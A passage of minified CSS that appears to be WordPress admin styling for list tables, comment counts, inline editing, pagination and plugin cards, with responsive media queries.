.post-com-count-no-comments:after{content:"";display:block;margin-left:8px;width:0;height:0;border-top:5px solid #646970;border-right:5px solid transparent}.column-comments a.post-com-count-approved:focus .comment-count-approved,.column-comments a.post-com-count-approved:hover .comment-count-approved,.column-response a.post-com-count-approved:focus .comment-count-approved,.column-response a.post-com-count-approved:hover .comment-count-approved{background:#2271b1}.column-comments a.post-com-count-approved:focus:after,.column-comments a.post-com-count-approved:hover:after,.column-response a.post-com-count-approved:focus:after,.column-response a.post-com-count-approved:hover:after{border-top-color:#2271b1}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:relative;left:-3px;padding:0 5px;min-width:7px;height:17px;border:2px solid #fff;border-radius:11px;background:#d63638;color:#fff;font-size:9px;line-height:1.88888888;text-align:center}.column-comments .post-com-count-no-pending,.column-response .post-com-count-no-pending{display:none}.commentlist li{padding:1em 1em .2em;margin:0;border-bottom:1px solid #c3c4c7}.commentlist li li{border-bottom:0;padding:0}.commentlist p{padding:0;margin:0 0 .8em}#submitted-on,.submitted-on{color:#50575e}#replyrow td{padding:2px}#replysubmit{margin:0;padding:5px 7px 10px;overflow:hidden}#replysubmit .reply-submit-buttons{margin-bottom:0}#replysubmit .button{margin-right:5px}#replysubmit .spinner{float:none;margin:-4px 0 0}#replyrow.inline-edit-row fieldset.comment-reply{font-size:inherit;line-height:inherit}#replyrow legend{margin:0;padding:.2em 5px 0;font-size:13px;line-height:1.4;font-weight:600}#replyrow.inline-edit-row label{display:inline;vertical-align:baseline;line-height:inherit}#commentsdiv #edithead .inside,#edithead .inside{float:left;padding:3px 0 2px 5px;margin:0;text-align:center}#edithead .inside input{width:180px}#edithead label{padding:2px 0}#replycontainer{padding:5px}#replycontent{height:120px;box-shadow:none}#replyerror{border-color:#dcdcde;background-color:#f6f7f7}.commentlist .avatar{vertical-align:text-top}#the-comment-list div.undo,#the-comment-list tr.undo{background-color:#f6f7f7}#the-comment-list .unapproved td,#the-comment-list .unapproved th{background-color:#fcf9e8}#the-comment-list .unapproved th.check-column{border-left:4px solid #d63638}#the-comment-list .unapproved th.check-column input{margin-left:4px}#the-comment-list .approve a{color:#007017}#the-comment-list .unapprove a{color:#996800}#the-comment-list td,#the-comment-list th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}#the-comment-list tr:last-child td,#the-comment-list tr:last-child th{box-shadow:none}#the-comment-list tr.unapproved+tr.approved td,#the-comment-list tr.unapproved+tr.approved th{border-top:1px solid rgba(0,0,0,.03)}.vim-current,.vim-current td,.vim-current th{background-color:#f0f6fc!important}th .comment-grey-bubble{width:16px;position:relative;top:2px}th .comment-grey-bubble:before{content:"\f101";font:normal 20px/.5 dashicons;speak:never;display:inline-block;padding:0;top:4px;left:-4px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}table.fixed{table-layout:fixed}.fixed .column-rating,.fixed .column-visible{width:8%}.fixed .column-author,.fixed .column-format,.fixed .column-links,.fixed .column-parent,.fixed .column-posts{width:10%}.fixed .column-date{width:14%}.column-date span[title]{-webkit-text-decoration:dotted underline;text-decoration:dotted underline}.fixed .column-posts{width:74px}.fixed .column-posts,.fixed .column-role{-webkit-hyphens:auto;hyphens:auto}.fixed .column-comment .comment-author{display:none}.fixed .column-categories,.fixed .column-rel,.fixed .column-response,.fixed .column-role,.fixed .column-tags{width:15%}.fixed .column-slug{width:25%}.fixed .column-locations{width:35%}.fixed .column-comments{width:5.5em;text-align:left}.fixed .column-comments .vers{padding-left:3px}td.column-title strong,td.plugin-title strong{display:block;margin-bottom:.2em;font-size:14px}td.column-title p,td.plugin-title p{margin:6px 0}table.media .column-title .media-icon{float:left;min-height:60px;margin:0 9px 0 0}table.media .column-title .media-icon img{max-width:60px;height:auto;vertical-align:top}table.media .column-title .has-media-icon~.row-actions{margin-left:70px}table.media .column-title .filename{margin-bottom:.2em}.media .row-actions .copy-to-clipboard-container{display:inline;position:relative}.media .row-actions .copy-to-clipboard-container .success{position:absolute;left:50%;transform:translate(-50%,-100%);background:#000;color:#fff;border-radius:5px;margin:0;padding:2px 5px}.wp-list-table a{transition:none}#the-list tr:last-child td,#the-list tr:last-child th{border-bottom:none!important;box-shadow:none}#comments-form .fixed .column-author{width:20%}#commentsdiv.postbox .inside{margin:0;padding:0}#commentsdiv .inside .row-actions{line-height:1.38461538}#commentsdiv .inside .column-author{width:25%}#commentsdiv .column-comment p{margin:.6em 0;padding:0}#commentsdiv #replyrow td{padding:0}#commentsdiv p{padding:8px 10px;margin:0}#commentsdiv .comments-box{border:0 none}#commentsdiv .comments-box thead td,#commentsdiv .comments-box thead th{background:0 0;padding:0 7px 4px}#commentsdiv .comments-box tr:last-child td{border-bottom:0 none}#commentsdiv #edithead .inside input{width:160px}.sorting-indicators{display:grid}.sorting-indicator{display:block;width:10px;height:4px;margin-top:4px;margin-left:7px}.sorting-indicator:before{font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0;top:-4px;left:-8px;line-height:.5;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#a7aaad}.sorting-indicator.asc:before{content:"\f142"}.sorting-indicator.desc:before{content:"\f140"}th.sorted.desc .sorting-indicator.desc:before{color:#1d2327}th.sorted.asc .sorting-indicator.asc:before{color:#1d2327}th.sorted.asc a:focus .sorting-indicator.asc:before,th.sorted.asc:hover .sorting-indicator.asc:before,th.sorted.desc a:focus .sorting-indicator.desc:before,th.sorted.desc:hover .sorting-indicator.desc:before{color:#a7aaad}th.sorted.asc a:focus .sorting-indicator.desc:before,th.sorted.asc:hover .sorting-indicator.desc:before,th.sorted.desc a:focus .sorting-indicator.asc:before,th.sorted.desc:hover .sorting-indicator.asc:before{color:#1d2327}.wp-list-table .toggle-row{position:absolute;right:8px;top:10px;display:none;padding:0;width:40px;height:40px;border:none;outline:0;background:0 0}.wp-list-table .toggle-row:hover{cursor:pointer}.wp-list-table .toggle-row:focus:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-list-table .toggle-row:active{box-shadow:none}.wp-list-table .toggle-row:before{position:absolute;top:-5px;left:10px;border-radius:50%;display:block;padding:1px 2px 1px 0;color:#3c434a;content:"\f140";font:normal 20px/1 dashicons;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;speak:never}.wp-list-table .is-expanded .toggle-row:before{content:"\f142"}.check-column{position:relative}.check-column label{box-sizing:border-box;width:100%;height:100%;display:block;position:absolute;top:0;left:0}.check-column input{position:relative;z-index:1}.check-column .label-covers-full-cell:hover+input:not(:disabled){box-shadow:0 0 0 1px #2271b1}.check-column input:hover+label,.check-column label:hover{background:rgba(0,0,0,.05)}.locked-indicator{display:none;margin-left:6px;height:20px;width:16px}.locked-indicator-icon:before{color:#8c8f94;content:"\f160";display:inline-block;font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.locked-info{display:none;margin-top:4px}.locked-text{vertical-align:top}.wp-locked .locked-indicator,.wp-locked .locked-info{display:block}tr.wp-locked .check-column input[type=checkbox],tr.wp-locked .check-column label,tr.wp-locked .row-actions .inline,tr.wp-locked .row-actions .trash{display:none}#menu-locations-wrap .widefat{width:60%}.widefat th.sortable,.widefat th.sorted{padding:0}th.sortable a,th.sorted a{display:block;overflow:hidden;padding:8px}th.sortable a:focus,th.sorted a:focus{box-shadow:inset 0 0 0 2px #2271b1;outline:2px solid transparent}th.sortable a span,th.sorted a span{float:left;cursor:pointer}.tablenav-pages .current-page{margin:0 2px 0 0;font-size:13px;text-align:center}.tablenav .total-pages{margin-right:2px}.tablenav #table-paging{margin-left:2px}.tablenav{clear:both;height:30px;margin:6px 0 4px;padding-top:5px;vertical-align:middle}.tablenav.themes{max-width:98%}.tablenav .tablenav-pages{float:right;margin:0 0 9px}.tablenav .no-pages,.tablenav .one-page .pagination-links{display:none}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{display:inline-block;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;font-size:16px;line-height:1.625;text-align:center}.tablenav .displaying-num{margin-right:7px}.tablenav .one-page .displaying-num{display:inline-block;margin:5px 0}.tablenav .actions{padding:0 8px 0 0}.wp-filter .actions{display:inline-block;vertical-align:middle}.tablenav .delete{margin-right:20px}.tablenav .view-switch{float:right;margin:0 5px;padding-top:3px}.wp-filter .view-switch{display:inline-block;vertical-align:middle;padding:12px 0;margin:0 8px 0 2px}.media-toolbar.wp-filter .view-switch{margin:0 12px 0 2px}.view-switch a{float:left;width:28px;height:28px;text-align:center;line-height:1.84615384;text-decoration:none}.view-switch a:before{color:#c3c4c7;display:inline-block;font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.view-switch a:focus:before,.view-switch a:hover:before{color:#787c82}.view-switch a.current:before{color:#2271b1}.view-switch .view-list:before{content:"\f163"}.view-switch .view-excerpt:before{content:"\f164"}.view-switch .view-grid:before{content:"\f509"}.filter{float:left;margin:-5px 0 0 10px}.filter .subsubsub{margin-left:-10px;margin-top:13px}.screen-per-page{width:4em}#posts-filter .wp-filter{margin-bottom:0}#posts-filter fieldset{float:left;margin:0 1.5ex 1em 0;padding:0}#posts-filter fieldset legend{padding:0 0 .2em 1px}p.pagenav{margin:0;display:inline}.pagenav span{font-weight:600;margin:0 6px}.row-title{font-size:14px!important;font-weight:600}.column-comment .comment-author{margin-bottom:.6em}.column-author img,.column-comment .comment-author img,.column-username img{float:left;margin-right:10px;margin-top:1px}.row-actions{color:#a7aaad;font-size:13px;padding:2px 0 0;position:relative;left:-9999em}.rtl .row-actions a{display:inline-block}.row-actions .network_active,.row-actions .network_only{color:#000}.comment-item:hover .row-actions,.mobile .row-actions,.no-js .row-actions,.row-actions.visible,tr:hover .row-actions{position:static}.row-actions-visible{padding:2px 0 0}#wpbody-content .inline-edit-row fieldset{float:left;margin:0;padding:0 12px 0 0;width:100%;box-sizing:border-box}#wpbody-content .inline-edit-row td fieldset:last-of-type{padding-right:0}tr.inline-edit-row td{padding:0;position:relative}.inline-edit-wrapper{display:flow-root;padding:0 12px;border:1px solid transparent;border-radius:4px}.inline-edit-wrapper:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}#wpbody-content .quick-edit-row-post .inline-edit-col-left{width:40%}#wpbody-content .quick-edit-row-post .inline-edit-col-right{width:39%}#wpbody-content .inline-edit-row-post .inline-edit-col-center{width:20%}#wpbody-content .quick-edit-row-page .inline-edit-col-left{width:50%}#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .quick-edit-row-page .inline-edit-col-right{width:50%}#wpbody-content .bulk-edit-row .inline-edit-col-left{width:30%}#wpbody-content .bulk-edit-row-page .inline-edit-col-right{width:69%}#wpbody-content .bulk-edit-row .inline-edit-col-bottom{float:right;width:69%}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:27px}.inline-edit-row fieldset .inline-edit-group{clear:both;line-height:2.5}.inline-edit-row .submit{display:flex;flex-wrap:wrap;align-items:center;clear:both;margin:0;padding:.5em 0 1em}.inline-edit-save.submit .button{margin-right:8px}.inline-edit-save .spinner{float:none;margin:0}.inline-edit-row .notice-error{box-sizing:border-box;min-width:100%;margin-top:1em}.inline-edit-row .notice-error .error{margin:.5em 0;padding:2px}#the-list .inline-edit-row .inline-edit-legend{margin:0;padding:.2em 0;line-height:2.5;font-weight:600}.inline-edit-row fieldset span.checkbox-title,.inline-edit-row fieldset span.title{margin:0;padding:0}.inline-edit-row fieldset label,.inline-edit-row fieldset span.inline-edit-categories-label{display:block;margin:.2em 0;line-height:2.5}.inline-edit-row fieldset.inline-edit-date label{display:inline-block;margin:0;vertical-align:baseline;line-height:2}.inline-edit-row fieldset label.inline-edit-tags{margin-top:0}.inline-edit-row fieldset label.inline-edit-tags span.title{margin:.2em 0;width:auto}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{display:block;float:left;width:6em;line-height:2.5}#posts-filter fieldset.inline-edit-date legend{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{display:block;margin-left:6em}.quick-edit-row-post fieldset.inline-edit-col-right label span.title{width:auto;padding-right:.5em}.inline-edit-row .inline-edit-or{margin:.2em 6px .2em 0;line-height:2.5}.inline-edit-row .input-text-wrap input[type=text]{width:100%}.inline-edit-row fieldset label input[type=checkbox]{vertical-align:middle}.inline-edit-row fieldset label textarea{width:100%;height:4em;vertical-align:top}#wpbody-content .bulk-edit-row fieldset .inline-edit-group label{max-width:50%}#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child{margin-right:.5em}.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input{width:6em}.inline-edit-row .inline-edit-legend{text-transform:uppercase}.inline-edit-row fieldset .inline-edit-date{float:left}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{vertical-align:middle;text-align:center;padding:0 4px}.inline-edit-row fieldset label input.inline-edit-password-input{width:8em}#bulk-titles-list,#bulk-titles-list li,.inline-edit-row fieldset ul.cat-checklist input,.inline-edit-row fieldset ul.cat-checklist li{margin:0;position:relative}.inline-edit-row fieldset ul.cat-checklist input{margin-top:-1px;margin-left:3px}.inline-edit-row fieldset label input.inline-edit-menu-order-input{width:3em}.inline-edit-row fieldset label input.inline-edit-slug-input{width:75%}.inline-edit-row #post_parent,.inline-edit-row select[name=page_template]{max-width:80%}.quick-edit-row-post fieldset label.inline-edit-status{float:left}#bulk-titles,ul.cat-checklist{height:14em;border:1px solid #ddd;margin:0 0 5px;padding:.2em 5px;overflow-y:scroll}ul.cat-checklist input[name="post_category[]"]:indeterminate::before{content:'';border-top:2px solid grey;width:65%;height:2px;position:absolute;top:calc(50% + 1px);left:50%;transform:translate(-50%,-50%)}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{display:inline-block;margin:0;padding:3px 0;line-height:20px;vertical-align:top}#bulk-titles .ntdelitem{padding-left:23px}#bulk-titles .ntdelbutton{width:26px;height:26px;margin:0 0 0 -26px;text-align:center;border-radius:3px}#bulk-titles .ntdelbutton:before{display:inline-block;vertical-align:top}#bulk-titles .ntdelbutton:focus{box-shadow:0 0 0 2px #3582c4;outline:2px solid transparent;outline-offset:0}.plugins tbody,.plugins tbody th.check-column{padding:8px 0 0 2px}.plugins tbody th.check-column input[type=checkbox]{margin-top:4px}.updates-table .plugin-title p{margin-top:0}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-left:6px}.plugins,.plugins td,.plugins th{color:#000}.plugins tr{background:#fff}.plugins p{margin:0 4px;padding:0}.plugins .desc p{margin:0 0 8px}.plugins td.desc{line-height:1.5}.plugins .desc ol,.plugins .desc ul{margin:0 0 0 2em}.plugins .desc ul{list-style-type:disc}.plugins .row-actions{font-size:13px;padding:0}.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th{padding:10px 9px}.plugins .active td,.plugins .active th{background-color:#f0f6fc}.plugins .update td,.plugins .update th{border-bottom:0}.plugin-install #the-list td,.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th,.upgrade .plugins td,.upgrade .plugins th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th,.plugins tr.active.plugin-update-tr+tr.inactive td,.plugins tr.active.plugin-update-tr+tr.inactive th{border-top:1px solid rgba(0,0,0,.03);box-shadow:inset 0 1px 0 rgba(0,0,0,.02),inset 0 -1px 0 #dcdcde}.plugins .update td,.plugins .update th,.plugins .updated td,.plugins .updated th,.plugins tr.active+tr.inactive.update td,.plugins tr.active+tr.inactive.update th,.plugins tr.active+tr.inactive.updated td,.plugins tr.active+tr.inactive.updated th,.upgrade .plugins tr:last-of-type td,.upgrade .plugins tr:last-of-type th{box-shadow:none}.plugin-update-tr.active td,.plugins .active th.check-column{border-left:4px solid #72aee6}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-right:12px;white-space:nowrap}.plugins .plugin-title .dashicons,.plugins .plugin-title img{float:left;padding:0 10px 0 0;width:64px;height:64px}.plugins .plugin-title .dashicons:before{padding:2px;background-color:#f0f0f1;box-shadow:inset 0 0 10px rgba(167,170,173,.15);font-size:60px;color:#c3c4c7}#update-themes-table .plugin-title .dashicons,#update-themes-table .plugin-title img{width:85px}.plugins .column-auto-updates{width:14.2em}.plugins .inactive .plugin-title strong{font-weight:400}.plugins .row-actions,.plugins .second{padding:0 0 5px}.plugins .row-actions{white-space:normal;min-width:12em}.plugins .update .row-actions,.plugins .update .second,.plugins .updated .row-actions,.plugins .updated .second{padding-bottom:0}.plugins-php .widefat tfoot td,.plugins-php .widefat tfoot th{border-top-style:solid;border-top-width:1px}.plugins .plugin-update-tr .plugin-update{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1);overflow:hidden;padding:0}.plugins .plugin-update-tr .notice,.plugins .plugin-update-tr div[class=update-message]{margin:5px 20px 15px 40px}.plugins .notice p{margin:.5em 0}.plugins .plugin-description a,.plugins .plugin-update a,.updates-table .plugin-title a{text-decoration:underline}.plugins tr.paused th.check-column{border-left:4px solid #b32d2e}.plugins tr.paused td,.plugins tr.paused th{background-color:#f6f7f7}.plugins .paused .dashicons-warning,.plugins tr.paused .plugin-title{color:#b32d2e}.plugins .paused .error-display code,.plugins .paused .error-display p{font-size:90%;color:rgba(0,0,0,.7)}.plugins .resume-link{color:#b32d2e}.plugin-card .update-now:before{color:#d63638;content:"\f463";display:inline-block;font:normal 20px/1 dashicons;margin:-3px 5px 0 -2px;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}.plugin-card .updating-message:before{content:"\f463";animation:rotation 2s infinite linear}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(359deg)}}.plugin-card .updated-message:before{color:#68de7c;content:"\f147"}.plugin-install-php #the-list{display:flex;flex-wrap:wrap}.plugin-install-php .plugin-card{display:flex;flex-direction:column;justify-content:space-between}.plugin-install-php h2{clear:both}.plugin-install-php h3{margin:2.5em 0 8px}.plugin-install-php .wp-filter{margin-bottom:0}.plugin-group{overflow:hidden;margin-top:1.5em}.plugin-group h3{margin-top:0}.plugin-card{float:left;margin:0 8px 16px;width:48.5%;width:calc(50% - 8px);background-color:#fff;border:1px solid #dcdcde;box-sizing:border-box}.plugin-card:nth-child(odd){clear:both;margin-left:0}.plugin-card:nth-child(2n){margin-right:0}@media screen and (min-width:1600px) and (max-width:2299px){.plugin-card{width:30%;width:calc(33.1% - 8px)}.plugin-card:nth-child(odd){clear:none;margin-left:8px}.plugin-card:nth-child(2n){margin-right:8px}.plugin-card:nth-child(3n+1){clear:both;margin-left:0}.plugin-card:nth-child(3n){margin-right:0}}@media screen and (min-width:2300px){.plugin-card{width:25%;width:calc(25% - 12px)}.plugin-card:nth-child(odd){clear:none;margin-left:8px}.plugin-card:nth-child(2n){margin-right:8px}.plugin-card:nth-child(4n+1){clear:both;margin-left:0}.plugin-card:nth-child(4n){margin-right:0}}.plugin-card-top{position:relative;padding:20px 20px 10px;min-height:135px}.plugin-action-buttons,div.action-links{margin:0}.plugin-card h3{margin:0 12px 12px 0;font-size:18px;line-height:1.3}.plugin-card .desc{margin-inline:0}.plugin-card .desc>p,.plugin-card .name{margin-left:148px}@media (min-width:1101px){.plugin-card .desc>p,.plugin-card .name{margin-right:128px}}@media (min-width:481px) and (max-width:781px){.plugin-card .desc>p,.plugin-card .name{margin-right:128px}}.plugin-card .column-description{display:flex;flex-direction:column;justify-content:flex-start}.plugin-card .column-description>p{margin-top:0}.plugin-card .column-description p:empty{display:none}.plugin-card .notice.plugin-dependencies{margin:auto 20px 20px;padding:15px}.plugin-card .plugin-dependencies-explainer-text{margin-block:0}.plugin-card .plugin-dependency{align-items:center;display:flex;flex-wrap:wrap;margin-top:.5em;column-gap:1%;row-gap:.5em}.plugin-card .plugin-dependency:last-child,.plugin-card .plugin-dependency:nth-child(2){margin-top:1em}.plugin-card .plugin-dependency-name{flex-basis:74%}.plugin-card .plugin-dependency .more-details-link{margin-left:auto}.rtl .plugin-card .plugin-dependency .more-details-link{margin-right:auto}@media (max-width:939px){.plugin-card .plugin-dependency-name{flex-basis:69%}}.plugins #the-list .required-by,.plugins #the-list .requires{margin-top:1em}.plugin-card .action-links{position:absolute;top:20px;right:20px;width:120px}.plugin-action-buttons{clear:right;float:right;margin-bottom:1em;text-align:right}.plugin-action-buttons li{margin-bottom:10px}.plugin-card-bottom{clear:both;padding:12px 20px;background-color:#f6f7f7;border-top:1px solid #dcdcde;overflow:hidden}.plugin-card-bottom .star-rating{display:inline}.plugin-card-update-failed .update-now{font-weight:600}.plugin-card-update-failed .notice-error{margin:0;padding-left:16px;box-shadow:0 -1px 0 #dcdcde}.plugin-card-update-failed .plugin-card-bottom{display:none}.plugin-card .column-rating{line-height:1.76923076}.plugin-card .column-rating,.plugin-card .column-updated{margin-bottom:4px}.plugin-card .column-downloaded,.plugin-card .column-rating{float:left;clear:left;max-width:180px}.plugin-card .column-compatibility,.plugin-card .column-updated{text-align:right;float:right;clear:right;width:65%;width:calc(100% - 180px)}.plugin-card .column-compatibility span:before{font:normal 20px/.5 dashicons;speak:never;display:inline-block;padding:0;top:4px;left:-2px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}.plugin-card .column-compatibility .compatibility-incompatible:before{content:"\f158";color:#d63638}.plugin-card .column-compatibility .compatibility-compatible:before{content:"\f147";color:#007017}.plugin-card .notice{margin:20px 20px 0}.plugin-icon{position:absolute;top:20px;left:20px;width:128px;height:128px;margin:0 20px 20px 0}.no-plugin-results{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;width:100%;text-align:center}.wp-list-table .site-archived,.wp-list-table .site-deleted,.wp-list-table tr.site-archived,.wp-list-table tr.site-deleted{background:#fcf0f1}.wp-list-table .site-mature,.wp-list-table .site-spammed,.wp-list-table tr.site-mature,.wp-list-table tr.site-spammed{background:#fcf9e8}.sites.fixed .column-lastupdated,.sites.fixed .column-registered{width:20%}.sites.fixed .column-users{width:80px}@media screen and (max-width:1100px) and (min-width:782px),(max-width:480px){.plugin-card .action-links{position:static;margin-left:148px;width:auto}.plugin-action-buttons{float:none;margin:1em 0 0;text-align:left}.plugin-action-buttons li{display:inline-block;vertical-align:middle}.plugin-action-buttons li .button{margin-right:20px}.plugin-card h3{margin-right:24px}.plugin-card .desc,.plugin-card .name{margin-right:0}.plugin-card .desc p:first-of-type{margin-top:0}}@media screen and (max-width:782px){.tablenav{height:auto}.tablenav.top{margin:20px 0 5px}.tablenav.bottom{position:relative;margin-top:15px}.tablenav br{display:none}.tablenav br.clear{display:block}.tablenav .view-switch,.tablenav.top .actions{display:none}.view-switch a{width:36px;height:36px;line-height:2.53846153}.tablenav.top .displaying-num{display:none}.tablenav.bottom .displaying-num{position:absolute;right:0;top:11px;margin:0;font-size:14px}.tablenav .tablenav-pages{width:100%;text-align:center;margin:0 0 25px}.tablenav.bottom .tablenav-pages{margin-top:25px}.tablenav.top .tablenav-pages.one-page{display:none}.tablenav.bottom .actions select{margin-bottom:5px}.tablenav.bottom .actions.alignleft+.actions.alignleft{clear:left;margin-top:10px}.tablenav.bottom .tablenav-pages.one-page{margin-top:15px;height:0}.tablenav-pages .pagination-links{font-size:16px}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{min-width:44px;padding:12px 8px;font-size:18px;line-height:1}.tablenav-pages .pagination-links .current-page{min-width:44px;padding:12px 6px;font-size:16px;line-height:1.125}.form-wrap>p{display:none}.wp-list-table th.column-primary~th,.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){display:none}.wp-list-table thead th.column-primary{width:100%}.wp-list-table tr th.check-column{display:table-cell}.wp-list-table .check-column{width:2.5em}.wp-list-table .column-primary .toggle-row{display:block}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column){position:relative;clear:both;width:auto!important}.wp-list-table td.column-primary{padding-right:50px}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){padding:3px 8px 3px 35%}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{position:absolute;left:10px;display:block;overflow:hidden;width:32%;content:attr(data-colname);white-space:nowrap;text-overflow:ellipsis}.wp-list-table .is-expanded td:not(.hidden){display:block!important;overflow:hidden}.column-posts,.widefat .num{text-align:left}#comments-form .fixed .column-author,#commentsdiv .fixed .column-author{display:none!important}.fixed .column-comment .comment-author{display:block}.fixed .column-author.hidden~.column-comment .comment-author{display:none}#the-comment-list .is-expanded td{box-shadow:none}#the-comment-list .is-expanded td:last-child{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.post-com-count .screen-reader-text{position:static;-webkit-clip-path:none;clip-path:none;width:auto;height:auto;margin:0}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:none}.column-comments .post-com-count [aria-hidden=true],.column-response .post-com-count [aria-hidden=true]{display:none}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:normal}.column-comments .post-com-count-wrapper>a,.column-response .post-com-count-wrapper>a{display:block}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:0;margin-right:.5em}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:static;height:auto;min-width:0;padding:0;border:none;border-radius:0;background:0 0;color:#b32d2e;font-size:inherit;line-height:inherit;text-align:left}.column-comments .post-com-count-pending:hover,.column-response .post-com-count-pending:hover{color:#d63638}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:10px}.row-actions{margin-left:-8px;margin-right:-8px;padding-top:4px}body:not(.plugins-php) .row-actions{display:flex;flex-wrap:wrap;gap:8px;color:transparent}.row-actions span .button-link,.row-actions span a{display:inline-block;padding:4px 8px;line-height:1.5}.row-actions span.approve:before,.row-actions span.unapprove:before{content:"| "}#wpbody-content .bulk-edit-row .inline-edit-col-bottom,#wpbody-content .bulk-edit-row .inline-edit-col-left,#wpbody-content .bulk-edit-row-page .inline-edit-col-right,#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .inline-edit-row-post .inline-edit-col-center,#wpbody-content .quick-edit-row-page .inline-edit-col-left,#wpbody-content .quick-edit-row-page .inline-edit-col-right,#wpbody-content .quick-edit-row-post .inline-edit-col-left,#wpbody-content .quick-edit-row-post .inline-edit-col-right{float:none;width:100%;padding:0}#the-list .inline-edit-row .inline-edit-legend,.inline-edit-row span.title{font-size:16px}.inline-edit-row p.howto{font-size:14px}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:0}#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,#wpbody-content .bulk-edit-row fieldset .inline-edit-group label,#wpbody-content .quick-edit-row fieldset .inline-edit-col label,#wpbody-content .quick-edit-row fieldset .inline-edit-group label{max-width:none;float:none;margin-bottom:5px}#wpbody .bulk-edit-row fieldset select{display:block;width:100%;max-width:none;box-sizing:border-box}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{font-size:16px;line-height:2;padding:3px 4px}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{padding:6px 0;font-size:16px;line-height:28px}#bulk-titles .ntdelitem{padding-left:37px}#bulk-titles .ntdelbutton{width:40px;height:40px;margin:0 0 0 -40px;overflow:hidden}#bulk-titles .ntdelbutton:before{font-size:20px;line-height:28px}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{float:none}.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{margin-left:0}.inline-edit-row .inline-edit-or{margin:0 6px 0 0}#commentsdiv #edithead .inside,#edithead .inside{float:none;text-align:left;padding:3px 5px}#commentsdiv #edithead .inside input,#edithead .inside input{width:100%}#edithead label{display:block}#wpbody-content .updates-table .plugin-title{width:auto;white-space:normal}.link-manager-php #posts-filter{margin-top:25px}.link-manager-php .tablenav.bottom{overflow:hidden}.comments-box .toggle-row,.wp-list-table.plugins .toggle-row{display:none}#wpbody-content .wp-list-table.plugins td{display:block;width:auto;padding:10px 9px}#wpbody-content .wp-list-table.plugins .no-items td,#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td{display:table-cell}#wpbody-content .wp-list-table.plugins .desc.hidden{display:none}#wpbody-content .wp-list-table.plugins .column-description{padding-top:2px}#wpbody-content .wp-list-table.plugins .plugin-title,#wpbody-content .wp-list-table.plugins .theme-title{padding-right:12px;white-space:normal}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-top:13px;padding-bottom:4px}.plugins #the-list .update td,.plugins #the-list .update th,.plugins #the-list tr>td:not(:last-child),.wp-list-table.plugins #the-list .theme-title{box-shadow:none;border-top:none}.plugins #the-list tr td{border-top:none}.plugins tbody{padding:1px 0 0}.plugins .plugin-update-tr:before,.plugins tr.active+tr.inactive td.column-description,.plugins 